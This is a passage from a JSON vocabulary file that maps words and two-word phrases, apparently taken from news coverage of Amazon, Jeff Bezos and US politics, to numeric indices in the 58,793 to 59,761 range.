\"invading\": 58793,\n  \"trump right\": 58794,\n  \"legit sellers\": 58795,\n  \"possible antidote\": 58796,\n  \"channels people\": 58797,\n  \"globe mail\": 58798,\n  \"growth momentum\": 58799,\n  \"builds secret\": 58800,\n  \"sanchez source\": 58801,\n  \"platform arguing\": 58802,\n  \"parmesan\": 58803,\n  \"reference history\": 58804,\n  \"share close\": 58805,\n  \"53bil\": 58806,\n  \"receive payments\": 58807,\n  \"hsun huang\": 58808,\n  \"strategic partnership\": 58809,\n  \"improvement app\": 58810,\n  \"good returns\": 58811,\n  \"bezos plays\": 58812,\n  \"murdoch earlier\": 58813,\n  \"humiliate\": 58814,\n  \"customers including\": 58815,\n  \"values\": 58816,\n  \"old westmoreland\": 58817,\n  \"great suppliers\": 58818,\n  \"adding sales\": 58819,\n  \"breaking protestors\": 58820,\n  \"dorm\": 58821,\n  \"talented\": 58822,\n  \"ago described\": 58823,\n  \"bale\": 58824,\n  \"better structure\": 58825,\n  \"foundation capital\": 58826,\n  \"amazon outsources\": 58827,\n  \"scandals especially\": 58828,\n  \"breach kickers\": 58829,\n  \"weak borders\": 58830,\n  \"repeatedly warned\": 58831,\n  \"insightful political\": 58832,\n  \"creating prestige\": 58833,\n  \"ad revenue\": 58834,\n  \"bender retrospective\": 58835,\n  \"industry deals\": 58836,\n  \"man parachuting\": 58837,\n  \"actually lose\": 58838,\n  \"nafta deal\": 58839,\n  \"romney\": 58840,\n  \"continued hopefully\": 58841,\n  \"numerous pithy\": 58842,\n  \"government figures\": 58843,\n  \"told abc\": 58844,\n  \"funding president\": 58845,\n  \"indicated new\": 58846,\n  \"massive loss\": 58847,\n  \"unfair business\": 58848,\n  \"siri daly\": 58849,\n  \"course signed\": 58850,\n  \"reid_secondo\": 58851,\n  \"harshest criticism\": 58852,\n  \"pursue logistics\": 58853,\n  \"management relying\": 58854,\n  \"earning potential\": 58855,\n  \"public mouthpiece\": 58856,\n  \"threat newsom\": 58857,\n  \"suspected threat\": 58858,\n  \"law reforms\": 58859,\n  \"warfighter given\": 58860,\n  \"stories shared\": 58861,\n  \"resilient americans\": 58862,\n  \"mattis regulatory\": 58863,\n  \"remain legal\": 58864,\n  \"brushes aside\": 58865,\n  \"bezos essentially\": 58866,\n  \"opposition legislation\": 58867,\n  \"size\": 58868,\n  \"estate speculation\": 58869,\n  \"aldisert llp\": 58870,\n  \"story set\": 58871,\n  \"thinks brazil\": 58872,\n  \"economic incentives\": 58873,\n  \"ray walton\": 58874,\n  \"tweet implying\": 58875,\n  \"shares previously\": 58876,\n  \"time alexa\": 58877,\n  \"schwietzer explained\": 58878,\n  \"michael useem\": 58879,\n  \"facebook resignations\": 58880,\n  \"grueling conditions\": 58881,\n  \"financial grp\": 58882,\n  \"news cnn\": 58883,\n  \"ensure greater\": 58884,\n  \"hey hr\": 58885,\n  \"gaps reduces\": 58886,\n  \"won trigger\": 58887,\n  \"packaging\": 58888,\n  \"constitution requires\": 58889,\n  \"valuable data\": 58890,\n  \"aclu claims\": 58891,\n  \"condemn fifa\": 58892,\n  \"ortagus\": 58893,\n  \"lurid sexual\": 58894,\n  \"burning crosses\": 58895,\n  \"time loss\": 58896,\n  \"restricting sales\": 58897,\n  \"google plans\": 58898,\n  \"tax payments\": 58899,\n  \"musical\": 58900,\n  \"just wildly\": 58901,\n  \"effect helped\": 58902,\n  \"peter cited\": 58903,\n  \"hasn followed\": 58904,\n  \"removed conservative\": 58905,\n  \"manufacturers signaled\": 58906,\n  \"prematurely think\": 58907,\n  \"laundry\": 58908,\n  \"quite honest\": 58909,\n  \"told nbc\": 58910,\n  \"charter carriers\": 58911,\n  \"infrastructure computing\": 58912,\n  \"paid taxes\": 58913,\n  \"morningstar hottovy\": 58914,\n  \"buddy pair\": 58915,\n  \"misuse scandal\": 58916,\n  \"forward daily\": 58917,\n  \"cowards\": 58918,\n  \"breaks amazon\": 58919,\n  \"holiness\": 58920,\n  \"telecommunications industries\": 58921,\n  \"kooky\": 58922,\n  \"tribune review\": 58923,\n  \"manager presidential\": 58924,\n  \"democracy bezos\": 58925,\n  \"emergency john\": 58926,\n  \"naming members\": 58927,\n  \"shaub cited\": 58928,\n  \"arnold 2018\": 58929,\n  \"source knows\": 58930,\n  \"foods workers\": 58931,\n  \"lower quality\": 58932,\n  \"exciting increase\": 58933,\n  \"donna\": 58934,\n  \"head writer\": 58935,\n  \"uber washington\": 58936,\n  \"smartsheet richard\": 58937,\n  \"service proposed\": 58938,\n  \"client base\": 58939,\n  \"johnson zinke\": 58940,\n  \"half hours\": 58941,\n  \"denver colorado\": 58942,\n  \"peltz\": 58943,\n  \"peacemaker\": 58944,\n  \"recognition wrongly\": 58945,\n  \"smollett lawsuit\": 58946,\n  \"distribution platform\": 58947,\n  \"letter mail\": 58948,\n  \"retaliate\": 58949,\n  \"negotiators reach\": 58950,\n  \"urine\": 58951,\n  \"notes\": 58952,\n  \"giant says\": 58953,\n  \"wateraid international\": 58954,\n  \"california adopts\": 58955,\n  \"usual 100\": 58956,\n  \"trump deployed\": 58957,\n  \"avoid laying\": 58958,\n  \"useful links\": 58959,\n  \"midterm\": 58960,\n  \"enhance profits\": 58961,\n  \"centers don\": 58962,\n  \"ghost\": 58963,\n  \"substantive\": 58964,\n  \"high chance\": 58965,\n  \"defended\": 58966,\n  \"father fox\": 58967,\n  \"total strangers\": 58968,\n  \"received criticism\": 58969,\n  \"amazon advantage\": 58970,\n  \"stock edged\": 58971,\n  \"online bank\": 58972,\n  \"divorce says\": 58973,\n  \"amazon chrysler\": 58974,\n  \"beaumont society\": 58975,\n  \"obligation mandate\": 58976,\n  \"strengths\": 58977,\n  \"regulator american\": 58978,\n  \"villain accused\": 58979,\n  \"antivirus\": 58980,\n  \"integrity broward\": 58981,\n  \"web browser\": 58982,\n  \"capital economics\": 58983,\n  \"company share\": 58984,\n  \"author\": 58985,\n  \"explicit right\": 58986,\n  \"unearned rents\": 58987,\n  \"amazon river\": 58988,\n  \"williams\": 58989,\n  \"correctly supported\": 58990,\n  \"perpetual license\": 58991,\n  \"gov affairs\": 58992,\n  \"later news\": 58993,\n  \"distribute medications\": 58994,\n  \"trillion threshold\": 58995,\n  \"particulars points\": 58996,\n  \"waze companies\": 58997,\n  \"stories suggesting\": 58998,\n  \"afloat\": 58999,\n  \"profile forbes\": 59000,\n  \"business photographer\": 59001,\n  \"selling shoes\": 59002,\n  \"afghan families\": 59003,\n  \"strong economy\": 59004,\n  \"allowed amazon\": 59005,\n  \"different benches\": 59006,\n  \"sorkin suggested\": 59007,\n  \"rights owners\": 59008,\n  \"states diminished\": 59009,\n  \"intact think\": 59010,\n  \"real billionaire\": 59011,\n  \"dad paul\": 59012,\n  \"powerful amazon\": 59013,\n  \"cancels nyc\": 59014,\n  \"aca gawande\": 59015,\n  \"gas minerals\": 59016,\n  \"soon return\": 59017,\n  \"different advantages\": 59018,\n  \"today continues\": 59019,\n  \"ex yankees\": 59020,\n  \"9bcneifwej matthew\": 59021,\n  \"defense contracts\": 59022,\n  \"electronic banking\": 59023,\n  \"term govpredict\": 59024,\n  \"commandatore\": 59025,\n  \"michael burch\": 59026,\n  \"yext\": 59027,\n  \"boston 201923\": 59028,\n  \"excess cables\": 59029,\n  \"appealed ruling\": 59030,\n  \"testimony 300\": 59031,\n  \"david washington\": 59032,\n  \"ensure songwriters\": 59033,\n  \"security commerce\": 59034,\n  \"story heading\": 59035,\n  \"new work\": 59036,\n  \"minute impulse\": 59037,\n  \"filings including\": 59038,\n  \"arquette\": 59039,\n  \"favors political\": 59040,\n  \"benefits amazon\": 59041,\n  \"doing corporate\": 59042,\n  \"month mackenzie\": 59043,\n  \"previewing\": 59044,\n  \"allegedly costing\": 59045,\n  \"led organizations\": 59046,\n  \"giving mueller\": 59047,\n  \"dollar incentives\": 59048,\n  \"investment bezos\": 59049,\n  \"things allowing\": 59050,\n  \"uses fake\": 59051,\n  \"tax backstop\": 59052,\n  \"cheerful rhetoric\": 59053,\n  \"distaso\": 59054,\n  \"amit sadh\": 59055,\n  \"z8 function\": 59056,\n  \"folksy charm\": 59057,\n  \"rich approach\": 59058,\n  \"1830s barbados\": 59059,\n  \"businesses launchpad\": 59060,\n  \"bodied\": 59061,\n  \"militias expand\": 59062,\n  \"web services\": 59063,\n  \"packages inside\": 59064,\n  \"mustreadarticles articles\": 59065,\n  \"major running\": 59066,\n  \"racist statements\": 59067,\n  \"modern equivalent\": 59068,\n  \"iconic women\": 59069,\n  \"border business\": 59070,\n  \"whack\": 59071,\n  \"gerety decent\": 59072,\n  \"brutal exploitation\": 59073,\n  \"apriem advsrs\": 59074,\n  \"tabloid regular\": 59075,\n  \"including initiating\": 59076,\n  \"186 billion\": 59077,\n  \"shops online\": 59078,\n  \"quarter think\": 59079,\n  \"sachs president\": 59080,\n  \"assets related\": 59081,\n  \"2015 survey\": 59082,\n  \"country second\": 59083,\n  \"series appearances\": 59084,\n  \"new proposal\": 59085,\n  \"warrant government\": 59086,\n  \"point converting\": 59087,\n  \"modify viruses\": 59088,\n  \"revoking india\": 59089,\n  \"economist thomas\": 59090,\n  \"dingell virigina\": 59091,\n  \"squabble\": 59092,\n  \"cost accounting\": 59093,\n  \"billy bass\": 59094,\n  \"strike decidedly\": 59095,\n  \"symc confirmed\": 59096,\n  \"time open\": 59097,\n  \"million cash\": 59098,\n  \"jetsons herera\": 59099,\n  \"favelas\": 59100,\n  \"extended excerpts\": 59101,\n  \"cites internal\": 59102,\n  \"wfc earnings\": 59103,\n  \"juggernaut source\": 59104,\n  \"kovacic says\": 59105,\n  \"pres donald\": 59106,\n  \"early copy\": 59107,\n  \"locals renters\": 59108,\n  \"weak iphone\": 59109,\n  \"evening man\": 59110,\n  \"india headcount\": 59111,\n  \"nets\": 59112,\n  \"occurs naturally\": 59113,\n  \"remember 2018\": 59114,\n  \"nuptial\": 59115,\n  \"sue trump\": 59116,\n  \"platform bezos\": 59117,\n  \"quarterly low\": 59118,\n  \"community conclusion\": 59119,\n  \"bay mark\": 59120,\n  \"photos golden\": 59121,\n  \"000 americans\": 59122,\n  \"restrictive\": 59123,\n  \"slowdown global\": 59124,\n  \"divorce north\": 59125,\n  \"trigger happy\": 59126,\n  \"nixon presidential\": 59127,\n  \"lobbyist washington\": 59128,\n  \"structure turns\": 59129,\n  \"ron ronaldhart\": 59130,\n  \"talents\": 59131,\n  \"sanchez abramowitz\": 59132,\n  \"blames players\": 59133,\n  \"provided superior\": 59134,\n  \"similar blackmail\": 59135,\n  \"house ny\": 59136,\n  \"fy18\": 59137,\n  \"antitrust claim\": 59138,\n  \"internal information\": 59139,\n  \"richardson argues\": 59140,\n  \"spokesman says\": 59141,\n  \"previous microsoft\": 59142,\n  \"concerns ab\": 59143,\n  \"searchable\": 59144,\n  \"house amid\": 59145,\n  \"fedex territory\": 59146,\n  \"new terminal\": 59147,\n  \"hader\": 59148,\n  \"blunted\": 59149,\n  \"video kids\": 59150,\n  \"status 1062136011159994368\": 59151,\n  \"titan extramarital\": 59152,\n  \"continues bombing\": 59153,\n  \"10bn\": 59154,\n  \"stuart amazon\": 59155,\n  \"slow amazon\": 59156,\n  \"paid workers\": 59157,\n  \"neglected\": 59158,\n  \"political messages\": 59159,\n  \"instant gratification\": 59160,\n  \"value dropped\": 59161,\n  \"schemer\": 59162,\n  \"watch nbc\": 59163,\n  \"dictated\": 59164,\n  \"profoundly ironic\": 59165,\n  \"work long\": 59166,\n  \"labo products\": 59167,\n  \"conservationists fear\": 59168,\n  \"deal finding\": 59169,\n  \"night donald\": 59170,\n  \"service shorten\": 59171,\n  \"help secure\": 59172,\n  \"trump official\": 59173,\n  \"tensions noting\": 59174,\n  \"sold cah\": 59175,\n  \"uncovering details\": 59176,\n  \"agricultural cooperatives\": 59177,\n  \"offered place\": 59178,\n  \"enlightenment\": 59179,\n  \"somodevilla attorney\": 59180,\n  \"border package\": 59181,\n  \"newspaper currently\": 59182,\n  \"released game\": 59183,\n  \"andrew ross\": 59184,\n  \"trump prosecutors\": 59185,\n  \"technique\": 59186,\n  \"sparkly watch\": 59187,\n  \"achieving dominant\": 59188,\n  \"orleans airport\": 59189,\n  \"space odyssey\": 59190,\n  \"platforms new\": 59191,\n  \"recommends eliminating\": 59192,\n  \"think ami\": 59193,\n  \"vice dean\": 59194,\n  \"scrapping plans\": 59195,\n  \"freedom caucus\": 59196,\n  \"kurtenbach sent\": 59197,\n  \"margins stand\": 59198,\n  \"jlraqsdevf\": 59199,\n  \"month saying\": 59200,\n  \"kawas speaking\": 59201,\n  \"becker saying\": 59202,\n  \"business colbert\": 59203,\n  \"soured bay\": 59204,\n  \"county offered\": 59205,\n  \"value plunge\": 59206,\n  \"photo sharing\": 59207,\n  \"meet customer\": 59208,\n  \"state education\": 59209,\n  \"economies\": 59210,\n  \"wife caroline\": 59211,\n  \"messages included\": 59212,\n  \"goldstein\": 59213,\n  \"creation donut\": 59214,\n  \"countries ask\": 59215,\n  \"bullying foundation\": 59216,\n  \"cloud virginia\": 59217,\n  \"alleviate\": 59218,\n  \"focussing\": 59219,\n  \"creative commons\": 59220,\n  \"markets right\": 59221,\n  \"garry mccarthy\": 59222,\n  \"cnn erin\": 59223,\n  \"flipping light\": 59224,\n  \"862 shares\": 59225,\n  \"information age\": 59226,\n  \"bezos revelations\": 59227,\n  \"131 million\": 59228,\n  \"479 million\": 59229,\n  \"service announced\": 59230,\n  \"gaining close\": 59231,\n  \"outlet lost\": 59232,\n  \"jurist pen\": 59233,\n  \"directors held\": 59234,\n  \"ideological brothers\": 59235,\n  \"teach students\": 59236,\n  \"billlion discrepancy\": 59237,\n  \"politicians talk\": 59238,\n  \"reserved\": 59239,\n  \"negative stock\": 59240,\n  \"413\": 59241,\n  \"property accumulated\": 59242,\n  \"president offer\": 59243,\n  \"vote sent\": 59244,\n  \"updates contain\": 59245,\n  \"aug shares\": 59246,\n  \"trump thought\": 59247,\n  \"national secrets\": 59248,\n  \"harriman marc\": 59249,\n  \"famously\": 59250,\n  \"rural mississippi\": 59251,\n  \"person announced\": 59252,\n  \"business discovered\": 59253,\n  \"marketwatchers don\": 59254,\n  \"far reaching\": 59255,\n  \"creating scholarships\": 59256,\n  \"actual merchandise\": 59257,\n  \"net tax\": 59258,\n  \"rubio team\": 59259,\n  \"holiday airs\": 59260,\n  \"nation finances\": 59261,\n  \"management consultant\": 59262,\n  \"employment paperwork\": 59263,\n  \"digital goodies\": 59264,\n  \"imaging corp\": 59265,\n  \"super optimistic\": 59266,\n  \"ryan murphy\": 59267,\n  \"market suggests\": 59268,\n  \"editors send\": 59269,\n  \"declare emergency\": 59270,\n  \"sister adalynn\": 59271,\n  \"including french\": 59272,\n  \"makes ton\": 59273,\n  \"big cities\": 59274,\n  \"concrete evidence\": 59275,\n  \"satan costume\": 59276,\n  \"including wal\": 59277,\n  \"absurdist\": 59278,\n  \"julie hirschfeld\": 59279,\n  \"110 decibels\": 59280,\n  \"sabrina spellman\": 59281,\n  \"800 mark\": 59282,\n  \"staff\": 59283,\n  \"plan says\": 59284,\n  \"physician\": 59285,\n  \"amazon reveal\": 59286,\n  \"source told\": 59287,\n  \"gmt mexican\": 59288,\n  \"practices rubenstein\": 59289,\n  \"stretchy\": 59290,\n  \"shape yellow\": 59291,\n  \"amzn old\": 59292,\n  \"healing 600\": 59293,\n  \"kids forget\": 59294,\n  \"published erotic\": 59295,\n  \"trafficking ring\": 59296,\n  \"tow truck\": 59297,\n  \"bigger claws\": 59298,\n  \"party scenes\": 59299,\n  \"internet sellers\": 59300,\n  \"language gems\": 59301,\n  \"complete destruction\": 59302,\n  \"post anthony\": 59303,\n  \"help bring\": 59304,\n  \"week ebay\": 59305,\n  \"2018 live\": 59306,\n  \"foiaonline\": 59307,\n  \"discovered online\": 59308,\n  \"mirroring\": 59309,\n  \"incorrectly named\": 59310,\n  \"favoring amazon\": 59311,\n  \"photo shoot\": 59312,\n  \"named betty\": 59313,\n  \"concerned homegamers\": 59314,\n  \"pushing hard\": 59315,\n  \"time crushing\": 59316,\n  \"williamson mackenzie\": 59317,\n  \"new cargo\": 59318,\n  \"receive bulk\": 59319,\n  \"kalb\": 59320,\n  \"amanda hess\": 59321,\n  \"playbook playbook\": 59322,\n  \"adding 000\": 59323,\n  \"states barred\": 59324,\n  \"amazons board\": 59325,\n  \"ugly\": 59326,\n  \"labs played\": 59327,\n  \"site forms\": 59328,\n  \"maur\\u00edcio\": 59329,\n  \"seriously sanders\": 59330,\n  \"gassner\": 59331,\n  \"baby boys\": 59332,\n  \"camel illustrator\": 59333,\n  \"fenner 2019\": 59334,\n  \"montreal botanical\": 59335,\n  \"attend rally\": 59336,\n  \"coffee according\": 59337,\n  \"shows sits\": 59338,\n  \"eleanor stanford\": 59339,\n  \"rosenblatt securities\": 59340,\n  \"military pay\": 59341,\n  \"guggenheim investments\": 59342,\n  \"growth 51554475796\": 59343,\n  \"potential hazards\": 59344,\n  \"political agenda\": 59345,\n  \"1014801031325241344\": 59346,\n  \"months feel\": 59347,\n  \"cracked market\": 59348,\n  \"manhunt\": 59349,\n  \"riz ahmed\": 59350,\n  \"najarian family\": 59351,\n  \"property stanford\": 59352,\n  \"valley giants\": 59353,\n  \"yorkers\": 59354,\n  \"studiously\": 59355,\n  \"indirectly creating\": 59356,\n  \"ab\": 59357,\n  \"billion annual\": 59358,\n  \"new aquatics\": 59359,\n  \"learning model\": 59360,\n  \"167\": 59361,\n  \"lift bro\": 59362,\n  \"crackdown union\": 59363,\n  \"sims foto\": 59364,\n  \"prices areprimarily\": 59365,\n  \"hamilton mom\": 59366,\n  \"identify suspects\": 59367,\n  \"bloomberg parscale\": 59368,\n  \"skeptics\": 59369,\n  \"kilogram\": 59370,\n  \"week instead\": 59371,\n  \"ad giants\": 59372,\n  \"signed amazon\": 59373,\n  \"defenseless\": 59374,\n  \"mum releasing\": 59375,\n  \"plan divorces\": 59376,\n  \"asian leaders\": 59377,\n  \"despite advertising\": 59378,\n  \"stories news\": 59379,\n  \"month reportedbezos\": 59380,\n  \"paid directly\": 59381,\n  \"review new\": 59382,\n  \"jorge rafael\": 59383,\n  \"limiting free\": 59384,\n  \"charges jussie\": 59385,\n  \"related medical\": 59386,\n  \"enormous economic\": 59387,\n  \"warehouses president\": 59388,\n  \"underwriting standards\": 59389,\n  \"phones sundar\": 59390,\n  \"offer charlie\": 59391,\n  \"contained text\": 59392,\n  \"mid 1970s\": 59393,\n  \"measure instructs\": 59394,\n  \"puts competitive\": 59395,\n  \"serial bomber\": 59396,\n  \"coolest fucking\": 59397,\n  \"saying trans\": 59398,\n  \"seeking refuge\": 59399,\n  \"week state\": 59400,\n  \"television program\": 59401,\n  \"newfoundland\": 59402,\n  \"platter\": 59403,\n  \"indicted witches\": 59404,\n  \"walmart decision\": 59405,\n  \"balzac famously\": 59406,\n  \"politicians wanting\": 59407,\n  \"customers code\": 59408,\n  \"week making\": 59409,\n  \"revenue based\": 59410,\n  \"possible sales\": 59411,\n  \"republic published\": 59412,\n  \"john podesta\": 59413,\n  \"weisz dispatches\": 59414,\n  \"jen kirby\": 59415,\n  \"reporting income\": 59416,\n  \"despite comments\": 59417,\n  \"low information\": 59418,\n  \"higher beer\": 59419,\n  \"leave plan\": 59420,\n  \"exclusive\": 59421,\n  \"scroll\": 59422,\n  \"china spies\": 59423,\n  \"worn strategy\": 59424,\n  \"shadowy links\": 59425,\n  \"optimistic\": 59426,\n  \"adjustments\": 59427,\n  \"sends\": 59428,\n  \"publishers musicians\": 59429,\n  \"rights protections\": 59430,\n  \"star power\": 59431,\n  \"economy according\": 59432,\n  \"makers offset\": 59433,\n  \"board audit\": 59434,\n  \"rearview\": 59435,\n  \"criminal illegal\": 59436,\n  \"brisk ad\": 59437,\n  \"showed strong\": 59438,\n  \"achieve profitability\": 59439,\n  \"gains read\": 59440,\n  \"saving measure\": 59441,\n  \"southerner\": 59442,\n  \"j1 getattribute\": 59443,\n  \"registered investment\": 59444,\n  \"die travel\": 59445,\n  \"home duty\": 59446,\n  \"products remain\": 59447,\n  \"finance financial\": 59448,\n  \"hub\": 59449,\n  \"attends luncheon\": 59450,\n  \"kareem abdul\": 59451,\n  \"nisha gopalan\": 59452,\n  \"wyoming congressional\": 59453,\n  \"tctvoice\": 59454,\n  \"news develops\": 59455,\n  \"mueller needs\": 59456,\n  \"swing prices\": 59457,\n  \"uk release\": 59458,\n  \"futures pointing\": 59459,\n  \"materials sector\": 59460,\n  \"adam houldsworth\": 59461,\n  \"soured amazon\": 59462,\n  \"hughes emails\": 59463,\n  \"community foundation\": 59464,\n  \"open job\": 59465,\n  \"quarter haverty\": 59466,\n  \"stock worth\": 59467,\n  \"harbouring\": 59468,\n  \"imagemodels\": 59469,\n  \"steam read\": 59470,\n  \"delete user\": 59471,\n  \"farms violated\": 59472,\n  \"financial policies\": 59473,\n  \"actually used\": 59474,\n  \"117 million\": 59475,\n  \"driver good\": 59476,\n  \"little amazon\": 59477,\n  \"turned lobbyist\": 59478,\n  \"losses amounted\": 59479,\n  \"increment financing\": 59480,\n  \"relations summit\": 59481,\n  \"higher premarket\": 59482,\n  \"cloud 2017\": 59483,\n  \"amazon swift\": 59484,\n  \"looked cool\": 59485,\n  \"elevation\": 59486,\n  \"sheet metal\": 59487,\n  \"department shipping\": 59488,\n  \"albany politics\": 59489,\n  \"maddow revisits\": 59490,\n  \"recovering\": 59491,\n  \"religious bigot\": 59492,\n  \"extraordinary effort\": 59493,\n  \"maile\": 59494,\n  \"repeatedly interrupted\": 59495,\n  \"charm executive\": 59496,\n  \"kill unfavorable\": 59497,\n  \"announced bipartisan\": 59498,\n  \"tech story\": 59499,\n  \"eyebrows snl\": 59500,\n  \"employment opportunities\": 59501,\n  \"brands good\": 59502,\n  \"stelac advisory\": 59503,\n  \"guarantor\": 59504,\n  \"helpful tips\": 59505,\n  \"widespread impact\": 59506,\n  \"scale amplifies\": 59507,\n  \"millionaires\": 59508,\n  \"letters editor\": 59509,\n  \"louis\": 59510,\n  \"covering city\": 59511,\n  \"progressing\": 59512,\n  \"lending embedded\": 59513,\n  \"week award\": 59514,\n  \"traditional role\": 59515,\n  \"point muckerman\": 59516,\n  \"defend migrants\": 59517,\n  \"000 highly\": 59518,\n  \"buy items\": 59519,\n  \"michael calhoun\": 59520,\n  \"individuals control\": 59521,\n  \"villainous\": 59522,\n  \"years stories\": 59523,\n  \"industrial average\": 59524,\n  \"derangement\": 59525,\n  \"amazon brick\": 59526,\n  \"movement prosecutors\": 59527,\n  \"chain means\": 59528,\n  \"political contention\": 59529,\n  \"backstory starts\": 59530,\n  \"major metropolitan\": 59531,\n  \"credit politico\": 59532,\n  \"holzer businesswire\": 59533,\n  \"illegal conduct\": 59534,\n  \"popped\": 59535,\n  \"company promised\": 59536,\n  \"matrix asset\": 59537,\n  \"things dangerous\": 59538,\n  \"jelbfr2gxx\": 59539,\n  \"gm formulated\": 59540,\n  \"huh moser\": 59541,\n  \"f6 a4ee\": 59542,\n  \"special council\": 59543,\n  \"proposal sanders\": 59544,\n  \"morning trump\": 59545,\n  \"stock early\": 59546,\n  \"publisher katharine\": 59547,\n  \"scooped\": 59548,\n  \"bing exclusive\": 59549,\n  \"fbi books\": 59550,\n  \"story tech\": 59551,\n  \"law requiring\": 59552,\n  \"tweaking revenue\": 59553,\n  \"echoes recent\": 59554,\n  \"story best\": 59555,\n  \"ntia\": 59556,\n  \"customs enforcement\": 59557,\n  \"available secure\": 59558,\n  \"amazon major\": 59559,\n  \"following cardi\": 59560,\n  \"2016 don\": 59561,\n  \"employees hickman\": 59562,\n  \"international news\": 59563,\n  \"government proposed\": 59564,\n  \"base inches\": 59565,\n  \"bronx home\": 59566,\n  \"intc\": 59567,\n  \"counsel robert\": 59568,\n  \"suspecting hack\": 59569,\n  \"search requests\": 59570,\n  \"increased bust\": 59571,\n  \"members lobbying\": 59572,\n  \"established delivery\": 59573,\n  \"selloff started\": 59574,\n  \"giant invests\": 59575,\n  \"book deals\": 59576,\n  \"prosecuting white\": 59577,\n  \"critical mission\": 59578,\n  \"movie distributor\": 59579,\n  \"term threats\": 59580,\n  \"suggested general\": 59581,\n  \"growth hasn\": 59582,\n  \"dna just\": 59583,\n  \"company 2018\": 59584,\n  \"business remains\": 59585,\n  \"investigation requires\": 59586,\n  \"article connect\": 59587,\n  \"ages socio\": 59588,\n  \"store surveillance\": 59589,\n  \"twitter execs\": 59590,\n  \"assembling\": 59591,\n  \"script bs_link\": 59592,\n  \"george allen\": 59593,\n  \"lamented\": 59594,\n  \"german luxury\": 59595,\n  \"tore children\": 59596,\n  \"complicated personal\": 59597,\n  \"science translates\": 59598,\n  \"carabiner\": 59599,\n  \"disinterested observer\": 59600,\n  \"kitcheniq knife\": 59601,\n  \"police department\": 59602,\n  \"2018q4 sec\": 59603,\n  \"amazon regularly\": 59604,\n  \"soho space\": 59605,\n  \"aggregate\": 59606,\n  \"personal publicist\": 59607,\n  \"willie geist\": 59608,\n  \"inadequate worker\": 59609,\n  \"business opportunity\": 59610,\n  \"recording kyrsten\": 59611,\n  \"football consumers\": 59612,\n  \"establish delivery\": 59613,\n  \"symantec confirms\": 59614,\n  \"growing homelessness\": 59615,\n  \"giant quarterly\": 59616,\n  \"deepening political\": 59617,\n  \"intermediate public\": 59618,\n  \"van cruising\": 59619,\n  \"hold 236\": 59620,\n  \"annoys sanders\": 59621,\n  \"guerrilla comrades\": 59622,\n  \"guaranteed support\": 59623,\n  \"primarily used\": 59624,\n  \"service minutes\": 59625,\n  \"adam raymond\": 59626,\n  \"ourcountry\": 59627,\n  \"uniquely devastating\": 59628,\n  \"wall duel\": 59629,\n  \"family missed\": 59630,\n  \"conduct business\": 59631,\n  \"business index\": 59632,\n  \"belt selfie\": 59633,\n  \"facebook newsfeed\": 59634,\n  \"bloomberg lp\": 59635,\n  \"attempted plane\": 59636,\n  \"abate approximately\": 59637,\n  \"wedding narrated\": 59638,\n  \"stepped foot\": 59639,\n  \"territory photo\": 59640,\n  \"suzanne jill\": 59641,\n  \"academies fund\": 59642,\n  \"bezos directly\": 59643,\n  \"economic dynamism\": 59644,\n  \"uber conservatives\": 59645,\n  \"excessive taxation\": 59646,\n  \"becker stated\": 59647,\n  \"kkk products\": 59648,\n  \"sent 030\": 59649,\n  \"unemployment held\": 59650,\n  \"bad pachter\": 59651,\n  \"leveraging prime\": 59652,\n  \"margins right\": 59653,\n  \"media sanchez\": 59654,\n  \"stories nonetheless\": 59655,\n  \"investigated sales\": 59656,\n  \"weak holiday\": 59657,\n  \"inhabit significant\": 59658,\n  \"targeted recently\": 59659,\n  \"amazon feature\": 59660,\n  \"city critics\": 59661,\n  \"class giving\": 59662,\n  \"ones saw\": 59663,\n  \"lowered corporate\": 59664,\n  \"litigative branch\": 59665,\n  \"627 million\": 59666,\n  \"donnald trump\": 59667,\n  \"payment providers\": 59668,\n  \"ecolab 1q\": 59669,\n  \"temporary refugee\": 59670,\n  \"moser laughs\": 59671,\n  \"appearances\": 59672,\n  \"engagement editor\": 59673,\n  \"retrieve packages\": 59674,\n  \"boycotting otyf\": 59675,\n  \"things 125\": 59676,\n  \"subsidises amazon\": 59677,\n  \"quarter wraps\": 59678,\n  \"olive boulevard\": 59679,\n  \"acquired online\": 59680,\n  \"bartiromo don\": 59681,\n  \"alleged transgressions\": 59682,\n  \"vaccine manufacturers\": 59683,\n  \"negotiation obviously\": 59684,\n  \"evidence msnbc\": 59685,\n  \"vague statement\": 59686,\n  \"sector smaller\": 59687,\n  \"bogus\": 59688,\n  \"jpgnews source\": 59689,\n  \"seattle growth\": 59690,\n  \"judson phillips\": 59691,\n  \"don graham\": 59692,\n  \"possible lease\": 59693,\n  \"reportedly wanted\": 59694,\n  \"funnel money\": 59695,\n  \"similar problems\": 59696,\n  \"ge says\": 59697,\n  \"dozen trump\": 59698,\n  \"currently living\": 59699,\n  \"organization won\": 59700,\n  \"currently shuttered\": 59701,\n  \"nomura\": 59702,\n  \"kathy hochul\": 59703,\n  \"crowning\": 59704,\n  \"sockslane\": 59705,\n  \"ck pics\": 59706,\n  \"demogorgon\": 59707,\n  \"isn shy\": 59708,\n  \"wing house\": 59709,\n  \"media urging\": 59710,\n  \"subsidizing helipad\": 59711,\n  \"outlook\": 59712,\n  \"seasons returns\": 59713,\n  \"59m\": 59714,\n  \"fourth estate\": 59715,\n  \"ocean\": 59716,\n  \"plhcf\": 59717,\n  \"year following\": 59718,\n  \"owner knows\": 59719,\n  \"159\": 59720,\n  \"socially progressive\": 59721,\n  \"algebra critical\": 59722,\n  \"trump realizes\": 59723,\n  \"1542086192\": 59724,\n  \"didier jacobs\": 59725,\n  \"odd ig\": 59726,\n  \"lofty expectations\": 59727,\n  \"scandal nbc\": 59728,\n  \"stories breaks\": 59729,\n  \"trump company\": 59730,\n  \"null contained\": 59731,\n  \"albuquerque announced\": 59732,\n  \"online versus\": 59733,\n  \"president parliament\": 59734,\n  \"karl asked\": 59735,\n  \"delivers surging\": 59736,\n  \"new enemies\": 59737,\n  \"comment second\": 59738,\n  \"rick klein\": 59739,\n  \"lumps pro\": 59740,\n  \"winning contracts\": 59741,\n  \"porcelain\": 59742,\n  \"protections obsolete\": 59743,\n  \"threat regardless\": 59744,\n  \"gun group\": 59745,\n  \"financial power\": 59746,\n  \"picturesque\": 59747,\n  \"outlet noted\": 59748,\n  \"masterclass online\": 59749,\n  \"advertising agency\": 59750,\n  \"decorated career\": 59751,\n  \"organizations working\": 59752,\n  \"avoid expressing\": 59753,\n  \"refused comment\": 59754,\n  \"collecting\": 59755,\n  \"turkish crisis\": 59756,\n  \"bleeding researchers\": 59757,\n  \"hastens gentrification\": 59758,\n  \"assures\": 59759,\n  \"eve bounce\": 59760,\n  \"won concede\": 59761,\n  